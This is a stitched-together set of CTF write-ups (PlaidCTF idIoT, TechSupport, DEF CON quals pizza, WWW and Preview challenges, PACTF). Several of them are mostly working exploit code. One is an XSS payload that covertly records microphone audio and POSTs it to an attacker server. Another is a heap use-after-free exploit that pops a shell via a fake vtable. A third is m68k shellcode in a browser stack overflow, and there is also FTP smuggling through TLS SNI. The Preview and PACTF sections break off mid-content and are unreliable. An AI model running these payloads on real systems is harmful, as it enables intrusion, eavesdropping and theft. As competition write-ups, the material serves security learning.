That's annoying. After trying all the extension `ogg/wav/wave/webm/mp3`, we found Apache doesn't recognize `*.wave` as a audio file. Therefore, if we upload a file named `filename.wave`, and then include the script through `<script src="filename.wave"></script>`, the javascript can be exeuted!
After XSS, we can steal the admin's cookie and login as admin. There are two clips in the account. The first is intended to give the challenges the correct command to Google Home, "OK Google, what is the flag?" The second clip is telling us that the admin will only stay on the clips interested him. "Has anyone else played "Toaster Wars"? Share me clips with 'spatulate' in the description and I'll give them a listen!". So we just put "spatulate' in the description.
The attack steps are listed below:
1. The admin clicks the clip which we shared.2. The audio of that clip, "Ok google, what is the flag?", will be played automatically.3. The description contains a malicious Javascript `<script src="js.wave"></script>`, and the admin will execute it.4. The js will automatically start recording what the Google home said.5. After recording for 8 seconds, it will stop recording and POST the audio to our website.
The javascript is here. I use a lot of `setTimeout()` to trace the admin's behavior.
```js// Fake WAVE headerwindow.onload = () => { let errorElt = document.getElementById("error"); let recordButton = document.getElementById("audio-record"); let recordPlayback = document.getElementById("record-playback"); let uploadForm = document.getElementById("upload-form"); let mediaRecorder; let mediaType = !("MediaRecorder" in window) ? undefined : MediaRecorder.isTypeSupported("audio/webm") ? "audio/webm" : MediaRecorder.isTypeSupported("audio/ogg") ? "audio/ogg" : undefined; let mediaBlob;
if (!mediaType) { recordButton.disabled = true; recordButton.innerText = "Not supported"; }
let err = /err=([^&]*)/.exec(window.location.search); if (errorElt && err) { errorElt.className = ""; errorElt.innerText = decodeURIComponent(err[1].replace(/\+/g, " ")); }
if (recordButton) { recordButton.addEventListener("click", (e) => { e.preventDefault(); if (!mediaType) { return; } if (mediaRecorder) { mediaRecorder.stop(); mediaRecorder = undefined; recordButton.innerText = "Record"; } else { recordButton.innerText = "Stop"; navigator.mediaDevices.getUserMedia({ audio: true }) .then((stream) => { mediaRecorder = new MediaRecorder(stream, { mimeType: mediaType }); mediaRecorder.start();
let chunks = [];
mediaRecorder.addEventListener("dataavailable", (e) => { chunks.push(e.data); });
mediaRecorder.addEventListener("stop", () => { mediaBlob = new Blob(chunks); recordPlayback.src = URL.createObjectURL(mediaBlob); }) }); } }); }
if (uploadForm) { uploadForm.addEventListener("submit", (e) => { e.preventDefault(); let formData = new FormData(document.getElementById("upload-form")); if (mediaBlob) { formData.append("audiofile", mediaBlob, "audio." + mediaType.split("/")[1]); }
}); } setTimeout(function(){ fetch("https://example.com.tw/?0"); }, 0); setTimeout(function(){ fetch("https://example.com.tw/?5000"); }, 5000); setTimeout(function(){ fetch("https://example.com.tw/?10000"); }, 10000); setTimeout(function(){ fetch("https://example.com.tw/?15000"); }, 15000); setTimeout(function(){ fetch("https://example.com.tw/?20000"); }, 20000); setTimeout(function(){ // after 1000 ms, start recording recordButton.click(); fetch("https://example.com.tw/?startrecording"); setTimeout(function() { // recording for 7000 ms recordButton.click(); fetch("https://example.com.tw/?endrecording");
// lets submit to my evil server setTimeout(function() { // process time: 2000ms let formData = new FormData(uploadForm); if (mediaBlob) { formData.append("audiofile", mediaBlob, "audio." + mediaType.split("/")[1]); } let postf = fetch("https://example.com.tw/log", { method: "POST", body: formData, }); }, 5000); }, 15000); }, 1000);
}```
The description:
```htmlHas anyone else played "Toaster Wars"? Share me clips with "spatulate" in the description and I'll give them a listen!Spatulate<form action="create.php" method="post" enctype="multipart/form-data" id="upload-form"> <div class="box"> <label class="title">Title</label> <input type="text" name="title" id="title-input" placeholder="Enter a title" value="a"/> </div> <div class="box"> <label class="title">Description</label> <textarea type="text" name="description" id="description-input" placeholder="Enter a description" value="b"></textarea> </div> <div class="box"> <label class="title">Clip</label> <div class="options"> <div id="upload-option"> <h3>Upload a File</h3> <h4>You can upload .wav/wave, .mp3, .ogg, .webm</h4> <label for="audiofile" class="file-label">Upload a file</label> <input type="file" name="audiofile" id="audiofile" accept="audio/*" /> </div> <div class="or"></div> <div id="record-option"> <h3>Record a Clip</h3> <h4>Recent Chrome or Firefox only</h4> <button type="button" id="audio-record">Record</button> <audio id="record-playback" controls></audio> </div> </div> </div> <input type="submit" name="submit" value="submit" /> </form><script src="[uploaded_js_url]"></script>```
and listen carefully, "the flag is PCTF open bracket not underscore so underscore smart close bracket."
We got the flag:`PCTF{not_so_smart}`.
This is a very interesting and great challenge:) You can check out the author's setup album [here](https://imgur.com/a/lrIQto5).
### idIoT: Camera (unsolved, written by bookgin)
Thanks to @bluepichu and @kunte_ for this solution.
The challenge includes a binary of the customized FTP server. After digging into the commands, @sasdf found this ftp server allows a "IP" command, which is used to specify the server IP. Also, "PASV" command exists. It looks like we can attack the FTP passive mode by sppcify our IP address. Because when sending `PASV` command, the server will tell which (IP, port) the user should connect. The IP can be controlled by the `IP` command.
The attack steps are listed below:
1. The Wifi camera login to the FTP server: `USER username`, `PASS password`2. We quickly create another connection and send `IP 240.1.2.3`.3. Next, the Wifi camera will send `PASV` command, but the IP has be changed!4. The FTP server will reply `227 Entering passive mode (240,1,2,3,86,206)`, whihc is our specific IP.5. Thus, the Wifi camera will start to send the image to our server.
Okay, but how do we send `IP 240.1.2.3`? Remember in the idIoT: Action, we have the XSS attack vector. We can smuggle the FTP protocol thorugh HTTP request. However, there is a WAF in the FTP server:
```cppif ( v65 > 2 && !strncasecmp(s1, "GET", 3uLL) || v65 > 3 && !strncasecmp(s1, "HEAD", 4uLL) || v65 > 3 && !strncasecmp(s1, "POST", 4uLL) || v65 > 2 && !strncasecmp(s1, "PUT", 3uLL) || v65 > 5 && !strncasecmp(s1, "DELETE", 6uLL) || v65 > 6 && !strncasecmp(s1, "CONNECT", 7uLL) || v65 > 6 && !strncasecmp(s1, "OPTIONS", 7uLL) || v65 > 4 && !strncasecmp(s1, "TRACE", 5uLL) || v65 > 4 && !strncasecmp(s1, "PATCH", 5uLL) )```
and we stuck here until the comppetition ends because we are not able to come out of a way to bypass the WAF and smuggle the protocl.
The HTTP request does't work. How about FTP request? Although Chorme support FTP, it cannot be used to send our customized command `IP 240.1.2.3`. Inserting CRLF in `ftp://username:password@hostname/` doesn't work at all. Of course, there is no gopher/dict protocol implementation in Chrome.
but how about the HTTPS protocol?
Although the first TLS handshake message Client Hello is encrypted, not all of the payload are garbled, encryted text. The SNI (server name indication) is left in plaintext. Let's leverage SNI to smuggle the FTP protocol.
Suppose the URL is:
`https://p8.8.8.8.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaa.127.0.0.1.xip.io:1212`
Of course, the DNS record will resolve to 127.0.0.1. ([xip.io](http://xip.io/) is a handy website when you're too lazy to build up a DNS server yourself.)
The raw client hello will be like: ```...0040 c0 14 00 33 00 39 00 2f 00 35 00 0a 01 00 01 b5 ...3.9./.5......0050 00 00 00 6e 00 6c 00 00 69 70 38 2e 38 2e 38 2e ...n.l..ip8.8.8.0060 38 2e 61 61 61 61 61 61 61 61 61 61 61 61 61 61 8.aaaaaaaaaaaaaa0070 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa0080 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa0090 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa00a0 61 2e 61 61 61 61 61 61 61 61 61 61 61 61 61 61 a.aaaaaaaaaaaaaa00b0 61 2e 31 32 37 2e 30 2e 30 2e 31 2e 78 69 70 2e a.127.0.0.1.xip.00c0 69 6f 00 17 00 00 ff 01 00 01 00 00 0a 00 0a 00 io..............00d0 08 00 1d 00 17 00 18 00 19 00 0b 00 02 01 00 00 ................00e0 23 00 00 00 10 00 0e 00 0c 02 68 32 08 68 74 74 #.........h2.htt00f0 70 2f 31 2e 31 00 05 00 05 01 00 00 00 00 00 0d p/1.1..............```
1. The SNI length is 0x69, which is ASCII `i`.2. The data type of SNI length is a 2-byte integer, so it will become 0x00 0x69.3. The FTP server ignores all the invalid command.4. Both newline and null byte 0x00 can be used to spicify the end of a command in the FTP server.5. Because we don't know the port, one might use iptables to listen on a number of ports.
We didn't come out of this exploitation. Full credit for @kunte_. His/Her explanation is [here](https://files.veryhax.ninja/writeup_idiot_camera.txt). Many thanks to him/her! **Note that I didn't check if the payload works or not**.
Acctually, the protcol smuggling technique is referred in the [2017 Blackhat by orange](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf). It's really a shame that I didn't think of exploiting SNI, because my research about DDoS mitigation utilizes SNI in the implmentation.
By the way, it's cool challenge! That's a very intriguing way to smuggle the protocol. You can check out the author's setup album [here](https://imgur.com/a/lrIQto5). |
TechSupport-----------When connecting to the remote server, we get something like:
```Thank you for contacting Chemisoft technical support.My name is Elen, how can I help you?fooIs your keyboard properly connected to the computer? yesDid you experience similar problems with other software as well? noDoes the program persists when you are not looking at it? yesI heard sometimes bugs are caused by the presence of floppy drives. Do you have one? no
Alright then - it looks like we ruled out the most common problems.So, let me now look at the program for you.I am going to use port 3456. Everything ready on your side? yes```
Then we get an incoming GDB connection on 3456. We set up a GDB server that runs the provided `mcalc` binary (a simple molecular weight calculator). It complains about the invalid license, and the challenge server performs integrity checks via GDB to protect from patching. Those can be bypassed either by writing a fake GDB server, or by patching the binary in a way that is not detected (most of the time):
```004016fe mov dword [rbp-0x30 {var_38}], 0xabc8eef00401705 mov dword [rbp-0x2c {var_34}], 0xb096bff40040170c mov dword [rbp-0x28 {var_30}], 0xe0c5479900401713 mov dword [rbp-0x24 {var_2c}], 0x68cbc7320040171a nop(...)00401721 nop```
Now the helpdesk says the program worked fine. We patch in a `int 3` at `0x401abb` to make it crash, it says it'll try to reproduce the bug. So we need to make the original binary crash through the input formula only.
It is possible to force a division by zero. `main` calculates the total weight as sum of every count by its atom's weight, and if greater than 1000 it calls the sub at `0x40190b` to print stats about the main element. In the sub, the total weight (re-calculated) is used as denominator. Because of how the element-count mapping array in `main` is populated, if the same element is repeated multiple times, `main` will sum all occurrences, while the sub's total will only use the rightmost occurrence. So if we find a chemical formula that overflows the 32-bit sum to zero, then prepend an atom (with weight > 1000) that is already in the formula, we get a weight greater than 1000 in `main` but equal to zero in the sub, causing a division by zero. Such a formula can be found as a solution to an LP problem (minimizing used atoms, as there is a length limit).
Once the remote reproduction crashes, too, the helpdesk prints out the differences between the two states (our crash and reproduced crash). If a register is a valid memory address, it shows a dereferenced qword. So plan is: control a remote register at the crash to dereference the valid license buffer (which is reasonably the flag).
Before calling the sub, `ecx` contains the total weight as calculated in `main`, and it is not touched by the sub before the division. We build a formula so that the right portion overflows to zero (to trigger the crash), and the left portion uses only atoms already present in the right portion and sums to the address we want to read (to set `ecx`). License is 16 bytes at `0x6033d0`, so two crafted formulas later, we have the flag.
Script to generate the formulas:
```python#!/usr/bin/python3
import structimport pulp
with open('mcalc', 'rb') as f: f.seek(0x30a0) raw_atoms = f.read(8 * 100)
atoms = []for i in range(0, len(raw_atoms), 8): raw_atom = raw_atoms[i:i+8] atom = (raw_atom[:4].strip(b'\x00').decode('ascii'), struct.unpack('<I', raw_atom[4:])[0]) atoms.append(atom)
def formula(goal): prob = pulp.LpProblem('Formula Left', pulp.LpMinimize) cnt = pulp.LpVariable.dicts('cnt', range(len(atoms)), lowBound=0, upBound=999, cat='Integer') used = pulp.LpVariable.dicts('used', range(len(atoms)), cat='Binary') prob += sum(used) prob += sum(atoms[i][1] * cnt[i] for i in range(len(atoms))) == GOAL prob += sum(cnt) > 0 for i in range(len(atoms)): prob += used[i] <= cnt[i], 'C_{}_upper'.format(i) prob += cnt[i] <= 10000*used[i], 'C_{}_lower'.format(i)
prob.solve()
formula = '' first_part_atoms = [] for i in range(len(atoms)): value = int(pulp.value(cnt[i])) if value > 0: formula += '{}{}'.format(atoms[i][0], value if value > 1 else '') first_part_atoms.append(i)
prob = pulp.LpProblem('Formula Right', pulp.LpMinimize) cnt = pulp.LpVariable.dicts('cnt', range(len(atoms)), lowBound=0, upBound=999, cat='Integer') used = pulp.LpVariable.dicts('used', range(len(atoms)), cat='Binary') prob += sum(used) prob += sum(atoms[i][1] * cnt[i] for i in range(len(atoms))) == 2**32 prob += sum(cnt) > 0 for i in range(len(atoms)): prob += used[i] <= cnt[i], 'C_{}_upper'.format(i) prob += cnt[i] <= 10000*used[i], 'C_{}_lower'.format(i) for i in first_part_atoms: prob += used[i] == True
prob.solve()
for i in range(len(atoms)): value = int(pulp.value(cnt[i])) if value > 0: formula += '{}{}'.format(atoms[i][0], value if value > 1 else '') return formula
LICENSE_ADDR = 0x6033d0LICENSE_QWORDS = 2
for i in range(LICENSE_QWORDS): goal = LICENSE_ADDR + 8*i print('0x{:x}: {}'.format(goal, formula(goal)))``` |
It's-a me!----------We're given an x64 Linux ELF, written in C++, with full RELRO, stack canaries, NX, and PIE. We can create users, order and cook pizzas and so on. To order pizzas, ingredients are specified using UTF-8 sequences. When cooking pizzas, we can specify an explanation, which will be allocated on the heap (with a dynamic size depending on the input size).
We notice that it is apparently impossible to order a pineapple pizza (sequence `\xf0\x9f\x8d\x8d`). However, we can order a pizza with ingredients `\xf0\xf0\xf0\x9f` and `\x8d\x8d`, which are valid sequences and will be concantenated when cooking, creating the pineapple ingredient. After cooking a pineapple pizza, Mario gets mad at us. We can log out, or edit our explanation (which logs us out afterwards). From the logged out menu, we can see the explanation we gave.
There is a use-after-free here. When cooking, if we carefully set up an order (e.g., 16 pineapple pizzas and 1 tomato pizza), we can make the program free the explanation buffer while keeping a pointer to it for editing and printing. Also, the editing size is fixed (300), while the actual size of the once-allocated explanation can vary, so there's an overflow, too (we didn't use it).
We first print out a freed explanation unsorted bin to leak the heap (there's another freed unsorted due to vector resizing). Then, we edit an unsorted bin's links to write `main_arena` into the explanation itself at the next `malloc`. By printing the explanation, we leak libc. Finally, we allocate and free an explanation with the same size as a pizza object, then get a pizza allocated in that free fastbin and leak the binary's base through the vtable pointer.
Then, we edit a fastbin-sized free explanation to link a fake fastbin in BSS, near the currently logged user pointer. After setting up a fake user and a bunch of related fake structures in buffers residing in BSS, we overwrite the current user with the fake one through the fake fastbin. Finally, the admire option in the user menu can be used to trigger a virtual method invocation on a fake pizza belonging to the fake user. The fake vtable of the pizza will call a onegadget, popping a shell.
Exploit:
```python#!/usr/bin/env python2
from pwn import *from pow import solve_pow
context(arch='x86_64', os='linux')
def pow_connect(): p.recvuntil('Challenge: ') challenge = p.recvline().strip() p.recvuntil('n: ') n = int(p.recvline()) prog = log.progress('Solving PoW ({} {})'.format(challenge, n)) sol = solve_pow(challenge, n) prog.success('found {}'.format(sol)) p.recvuntil('Solution: \n') p.sendline(str(sol))
#context.log_level = 'debug'#p = process('./mario')p = remote('83b1db91.quals2018.oooverflow.io', 31337)pow_connect()
def menu(choice): p.recvuntil('Choice: ') p.sendline(choice)
# MAIN MENU
def new_customer(name): menu('N') p.recvuntil('name? ') p.sendline(name)
def login(name): menu('L') p.recvuntil('name? ') p.sendline(name)
def why_upset(): menu('W') p.recvuntil('say: ') tail = '\nniente scuse\n' return p.recvuntil(tail)[:-len(tail)]
# USER MENU
def logout(): menu('L')
def order(pizzas): menu('O') p.recvuntil('pizzas? ') p.sendline(str(len(pizzas))) for pizza in pizzas: p.recvuntil('ingredients? ') p.sendline(str(len(pizza))) for i in pizza: p.recvuntil(': ') p.sendline(i)
def cook(explanation=''): menu('C') p.recvuntil('explain: ') p.sendline(explanation)
def admire(): menu('A')
def explain(explanation): menu('P') p.recvuntil('yourself: ') p.sendline(explanation)
def go_away(): menu('Y')
TOMATO = '\xf0\x9f\x8d\x85'PINEAPPLE_PIZZA = ['\xf0\xf0\xf0\x9f', '\x8d\x8d']FREED_EXPLANATION_ORDER = [PINEAPPLE_PIZZA] * 16 + [[TOMATO]]
prog = log.progress('Leaking heap')# leak fd from unsorted bin through UAF# fd points to heap because the pizza vector reallocation freed# a (now) unsorted chunk before usnew_customer('heapleak')order(FREED_EXPLANATION_ORDER)cook('A' * 200)go_away()heap_leak = u64(why_upset().ljust(8, '\x00'))prog.success('~ 0x{:012x}'.format(heap_leak))
prog = log.progress('Leaking libc')# corrupt an explanation's unsorted fd to &explanation-0x10new_customer('libcleak')order(FREED_EXPLANATION_ORDER)cook('A' * 200)explain(p64(heap_leak + 0x4b0 - 0x10)[:6])# allocate a chunk to write main_arena to *(fd+0x10) -> explanationnew_customer('unsorted')logout()# leak main_arena through the explanationlibc_base = u64(why_upset().ljust(8, '\x00')) - 0x3c4c48prog.success('@ 0x{:012x}'.format(libc_base))
prog = log.progress('Leaking PIE ')# get a 0x40 free leakable explanation chunknew_customer('binleak')order(FREED_EXPLANATION_ORDER)cook('B' * 0x37)go_away()# allocate a bad pizza (0x40 chunk) over the explanationnew_customer('badpizza')order([['X']] * 10)cook()logout()# leak the binary through the bad pizza's vtable ptrbin_base = u64(why_upset().ljust(8, '\x00')) - 0x20bbe0prog.success('@ 0x{:012x}'.format(bin_base))
NAME_ADDR = bin_base + 0x20c5e0EXPLANATION_ADDR = bin_base + 0x20c480
prog = log.progress('Hijacking vtable')# link a fake 0x20 fastbin just before the upset and logged user ptrs in BSSFAKE_FAST_ADDR = EXPLANATION_ADDR + 0x120new_customer('fakefast')order(FREED_EXPLANATION_ORDER)cook('\x00'*0x128 + '\x21')explain(p64(FAKE_FAST_ADDR)[:6])# we lay out fake structures in the BSS name bufferUSER_ADDR = NAME_ADDR + 8PIZZA_PTR_ARRAY_ADDR = USER_ADDR + 0x48PIZZA_ADDR = PIZZA_PTR_ARRAY_ADDR + 8VTABLE_ADDR = PIZZA_ADDR + 0x18# fake vtable for a pizza, calls onegadget from admireONE_GADGET = libc_base + 0x4526avtable = p64(ONE_GADGET)# fake pizza, with our fake vtablepizza = p64(VTABLE_ADDR) + 'A'*16# fake array of pizzas, with our fake pizzapizza_ptr_array = p64(PIZZA_ADDR)# fake list for pizza_ptr_arraypizza_list = p64(PIZZA_PTR_ARRAY_ADDR) # begin ptrpizza_list += p64(PIZZA_PTR_ARRAY_ADDR+8) # end ptrpizza_list += '\x00'*8# fake user, with pizza_listuser = '\x00'*(8+0x18+8) # name, uncooked pizzas, explanationuser += pizza_list # list of cooked pizzasuser += '\x00'*8 # ensure invalid user flag = 0# throw everything into the BSS name buffer# strlen = 0 -> waste an 0x20 fastbin, bringing our fake fastbin to headnew_customer('\x00'*8 + user + pizza_ptr_array + pizza + vtable)# will allocate explanation on fake fastbin# overwrite logged user ptr with fake usercook('A'*8 + p64(USER_ADDR)[:6])# invoke onegadget via fake vtableadmire()prog.success('pwned!')
p.recvline()p.interactive()``` |
WWW---www, aka pwning browsers from the 90s.
### Challenge Description
The challenge asks for a URL to be visited by the browser WorldWideWeb 0.15 running on the NeXTSTEP OS (arch m68k).
Once submitted the URL, the challenges returns a set of screenshots capturedduring the execution of the browser.
### Vulnerability
First, by submitting a test URL and inspecting the returned screenshots, we wereable to identify the OS version and the browser. Then, we found and configured aNeXTSTEP m68k emulator: http://previous.alternative-system.com/, on which weinstalled the WorldWideWeb browser and a version of gdb. We were also able todownload the browser sources, from which we identified a classic stack overflow.
In fact, the `HTTP_Get` function contains a 257 bytes buffer (`command`), usedto perform the HTTP GET request, and then copies the URL into it withoutchecking sizes:
```c#ifdef __STDC__int HTTP_Get(const char * arg)#elseint HTTP_Get(arg) char * arg;#endif{ int s; /* Socket number for returned data */ char command[257]; /* The whole command */ int status; /* tcp return */
...
strcpy(command, "GET "); { char * p1 = HTParse(arg, "", PARSE_PATH|PARSE_PUNCTUATION); strcat(command, p1); free(p1); }
```
### Exploit
We were very happy to realize that no security measure (NX, ASLR,..) wasimplemented in the 90s. This means we could craft a shellcode, put it in thestack (together with a nice NOP sled), jump to it, and execute it.
After several attempts to write a working shellcode for m68k we weresuccessfully able to execute commands. First, we tried by executing `system("open flag")`,which runs a graphic text editor opening the flag file. However, on the remotemachine the editor appeared behind the browser window, hiding half of the flag.Second, we executed `cat flag`, looking at the output in the already openedconsole. Even in this case we failed, as last chars of the flag were stillbehind the browser window. Finally, by executing `cat flag` five times in ourshellcode, we were able to see the entire flag.
Flag: `defconctf{Party_like_its_1992_for_the_next_Step}`
Exploit:
```pythonfrom pwn import *import base64import sysimport timeimport oshost = 'ddee3e1a.quals2018.oooverflow.io'port = 31337
def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n): candidate = 0 while True: if check_pow(challenge, n, candidate): return candidate candidate += 1
def connect(): global conn conn.close() conn = remote(host,port) conn.recvuntil('Challenge: ') challenge = conn.recvuntil('\n')[:-1] conn.recvuntil('n: ') n = int(conn.recvuntil('\n')[:-1])
solution = solve_pow(challenge, n) conn.sendline(str(solution))
conn = remote(host,port)connect()
filename = int(time.time())os.mkdir(str(filename))
DOUBLE_NOP = '\x4e\x71\x4e\x71'shellcode = '\x2c\x4f\xb5\x82\x06\x82\x63\x61\x74\x20\x2c\xc2\xb5\x82\x06\x82\x66\x6c\x61\x67\x2c\xc2\xb5\x82\x06\x82\x3b\x20\x20\x20\x2c\xc2\xb5\x82\x06\x82\x63\x61\x74\x20\x2c\xc2\xb5\x82\x06\x82\x66\x6c\x61\x67\x2c\xc2\xb5\x82\x06\x82\x3b\x20\x20\x20\x2c\xc2\xb5\x82\x06\x82\x63\x61\x74\x20\x2c\xc2\xb5\x82\x06\x82\x66\x6c\x61\x67\x2c\xc2\xb5\x82\x06\x82\x3b\x20\x20\x20\x2c\xc2\xb5\x82\x06\x82\x63\x61\x74\x20\x2c\xc2\xb5\x82\x06\x82\x66\x6c\x61\x67\x2c\xc2\xb5\x82\x06\x82\x3b\x20\x20\x20\x2c\xc2\xb5\x82\x06\x82\x63\x61\x74\x20\x2c\xc2\xb5\x82\x06\x82\x66\x6c\x61\x67\x2c\xc2\xb5\x82\x06\x82\x3b\x20\x20\x20\x2c\xc2\xb5\x82\x06\x82\x63\x61\x74\x20\x2c\xc2\xb5\x82\x06\x82\x66\x6c\x61\x67\x2c\xc2\xb5\x82\x06\x82\x3b\x20\x20\x20\x2c\xc2\xb5\x82\x2c\xc2\x22\x0f\x59\x8f\x2e\x81\x2c\x4f\x45\xf9\x05\x03\x07\xf8\x4e\x92'
payload = 'http://'payload += 'a' * (259 - len(payload))payload += '\x03\xff\xf7\xf8' * 8payload += DOUBLE_NOP * 100payload += shellcode
while True: conn.recvuntil("Welcome to the pre-alpha web aka ") token = conn.recvuntil("\n")[:-1] log.info("Token : "+token) conn.recvuntil("What URL would you like this old dog to fetch?\n") print 'sending:' print payload print payload.encode('hex') conn.sendline(payload) i = 0 while True: cose = conn.recvuntil("DEBUG ")[:-6] if(len(cose)>0): log.info(cose) b64 = base64.b64decode(conn.recvline()) f = open('./'+str(filename) + "/image"+str(i).rjust(4,"0")+".png","w") f.write(b64) f.close() log.info("Saved image"+str(i)+".png") i += 1
``` |
Ddtek: Preview--------------The challenge presents us with the "preview" binary and the `libc.so.6` file.The binary allow us to view the first 7 lines of any file specified in theinput with the format "HEAD filename", if the file has less than 7 lines, itwill not be printed. That means the flag file is not accessible.
A quick look at the binary in ida, reveals us that the file is behaving likean unpacker, it loads ld.so.2 at a random address and makes it load the mainbinary in another random address. Furthermore we can see that the mainfunction has a clear stack overflow. But the binary has the canary...
Examining the unpacked behavior we see that the random position where thebinary loads are taken from the `AT_RANDOM` entry of the auxiliary vector. Soif we know where the program is loaded we leak also the canary, since theloader takes the canary value from the very same bytes.
After some thinking we found that the binary let's us read `/proc/self/maps`:BINGO! Fortunately the first seven entries printed match with the address ofthe binary and ld, that combined correspond with the canary. NowOVERFLOW+CANARY+PAD+ROPCHAIN_ON_LD gives us the desired shell!
```pythonfrom struct import packfrom pwn import *import base64import sysimport timeimport os
host = 'cee810fa.quals2018.oooverflow.io'port = 31337
def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + struct.pack(' |
For more PACTF write-ups, [check this out](https://leniumc.github.io/categories/CTF/).
We can extract frames from the given video using Python and OpenCV and use the ```zbar``` package to scan the QR codes. This is the code we used.
``` pythonimport cv2import zbarimport numpy as np
vidcap = cv2.VideoCapture('video.f3db89aeb9f4.mp4')success, image = vidcap.read()image = image[:, :, 0]
success = Truescanner = zbar.Scanner()
text = ''
while success: results = scanner.scan(image) success, image = vidcap.read() if not success: break image = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY) if len(results) == 0: continue text += results[0].data.decode('utf-8')
with open('text.txt', 'w') as f: f.write(text)```
Looking at the texts read from the QR codes, there is one section that contained this.
```=== YOUR ANSWER IS HERE ==="eqvzb" w-3, s-5, v-25, p-24822syz7u9dogitfxlezobhobeuno6pnec20n6bqfg22cqihe41hbbi8aut4t618oj4wee4to32mdfmmsykl76r002hfbsurum4rr6tprxi4yinrzlqee17y5sfw11k5ybxsie6icu2x6fxvbq2wskzjtmng31ejzfikwj9ql0nxutriwr6p6vqzpdl1thkgt0o4is7znam9xub632v5mi39t8oae98kv5faatt11zitxmuka8qdrhbyw02i89fx9desufb6giwvgsvgrd18925zrgrqai31l92i6qplb9embayx8gmhqczl4gi9mb112plzs78w38hhbqmximi718hte6tw6b2m42xfwh3nnby2jemn0sz80hevqccfpyqd674swckdyaaptdp482x25uanhh5q8r0xqtokgwb8lbn41vl4mhhfvoeippvnl1t3ojshstgwumk48q8l3m937sou6b1838u7pie8da6gh8d8q5e09vazbdpsbtwyu35we0vu1r9cxfsaeisivqa01nrols0xculnijghh4goztt2ymrt2h54hfbg8o5w03ai9ghobywjxxd8erazpyjisdnrehi3xvh6yz6gnynrsgbzek9uv2poyrdld0quk3cxj1cf8z2a4jbzucqcivwvkoh9uaecnlgqpzwy6bmraynt9rl7mbpob449swf3nf3010o0uvweo0ty0jqshf4xzvxtmuhq5uutoyijqrra4lehasyeokf0wrdhcysxj8xyt8uc6uywmya3i8ipx9g2dha1lax1l3vzorv99qkqugxixa17pi1xua3o7z5qehlvctz6cdgef2zwleaaeyvlqn0m3hdczmgw26irn6bi0oy03k0it3hmekyxrrbmr73kokpitl1lpndke593dw5kdmp0ahjpcd191asr9ametpiks1a1rwnool8raisalbvwu0k04mjywmdwmcpn7m5nsrw505tgfv9k2708uc6syeur2f9zgqp9z35c6eu55bh4leal9ow95dpy77dtu6wu9cybq58bhdkthl0m85ekoeh8xvckpa7l6uz5vgyl0nbt3ole1hc4l4wtplgddtkulbds7egyp8nk2tf26t6kg7lunqwxm83b8m6mynhjdfxgnns8l3j2v2nku5z1auibmmc2x83013aqvor4teasklqkywhxdjjxrz2jbwwkqu6jed9gn83mxsg5ppzz9w0kschteeukmoic28wqq1pldsjlzmfptu3aod17o7gbeteenilm4pplg6yr0m0he7odgmq9pb17v9bekfllcbu8djj5e3e0uklethkcrmqr7q35avf1xpsvy5fod6ub2ra1awtoqbo26u2ydmkbotp4wuuwx3201so0gfhjs37bss3410780rqbke58loyad0xlldz4eunjezj769hm9jn1f6ne1lmrokw4l36v6w2tyf8z5f2mp2vqbhtkspnfeukopw3q3mnpk4gxsekj3wv2gl85yhu37og2qhu027fz1c4xq3jvc2q8szqi2b3rwdykfq50ii8nct0rh8apgpdin6w674khok0551tr6v1wrevoje3v823263in5atvkwn9gbcfjr3yy64ncyuo5q48rghc73uiak27e3od8ipzs2k2ojxl6a1exvdcyv3y2fu3j0wmnqbdxcwrvysyz43a1lhzm6t4mzkeciqg4j81w3q9i7vch81nc6c663r20iwek4cd3dk2qyizivbk3yfcrcsyy17p30jmwp2u1ogjpbw6ckjrzd5z8qab61vjq98hwhiua5qb8kvkp1datpqoxxh286k3mu6uhauv95nhajs5sf3j3f7xyvgz0d2omk4ro1umbqzjs5i4lyhns35sqm1u6sycfkeu2po70dgsoy5abl7csfvwjovz05pp338pnkx7dfvz952utwpiyxx261rolsm1eqc8mvmhw3e2o6adxdwdnjn1vxorfgm65rx20ztnc80nwmfcgbql87bz805xvb4lfq3lsnguvw4a13jqroa6xjhvnnb514qp9jgeytmduc95t5eqbuu3yqtps6bhn0nhsr2qmbtrjf609yx2n5a8k8hns6gox0tjq26wtn9arjsrige2is9e6v56fa62x3nynnnsbri6gbf3e2pituvua6i9z6kc4brf9f671e2zoa6t9f1ix1akwl5jp51tcadyswwot7g7125hct72h5hnctytcen6gc0qcsgl31xpb5bs5qw59v9wzu7eba6sr3trwstiioj7og6y2h69x3vy502ei1gnjchmfhl65jd02mhdinzzv55rl2w8u1uxoiofzt89lbqre1pq8kwyo28cg6296llkfpmlaak16httutriqn9bitfrh2p1vr6htuzjxiif4ss5m601kris67x04ni7g5eb6dpdiqmwb6yx0mtaj8pccww27bom5lwnxpuow6kg7e7wag7w0pfp50349pm9qdr550a9wc0dbfr2v3ezmrvbdwjvu7tu59i8odas8i29rmimjj7h3ga5ox0d50n1vwaq06c5o5pm2emokprk3xi7x25af8nayygnwvynl3863vxo6w0qke1yywr2fk42xcecymirqzfxhl967hbw89v44pschg8bw0cod5fx0s7cmi3vihlelu0b0pmselqozqz2g23285gec4zqfq86b7ut3aqr8ofi1m1f2u193fxixirtco0hhstcla8rkhgcl04mpjfefyti9ka86scfpb74stomed4maim6b329d91x1oonkkbqm9kjd6xl57v1zhesz3or8nofup3esvux980b3zwstulip20ug3hrh18pc3sgfnnjt65x697t1n22jef31s9rulfk9ad6qmd12ytyybxkikq98frkg434q4quvzvte9z6376hgt880zh0ly4gtopdc8jg3c7w534oezei8ytlj8qfliccuv1h2profbor9rbn78tp3jw5ww4xzc2rq8hg14wkss2tlr6xve62u256ohwfv8xd6i9wwn3jztv7cit60m2ui0d2xnj7k5btza5upm81efq4ymwewuzvru6qsavg1w50n0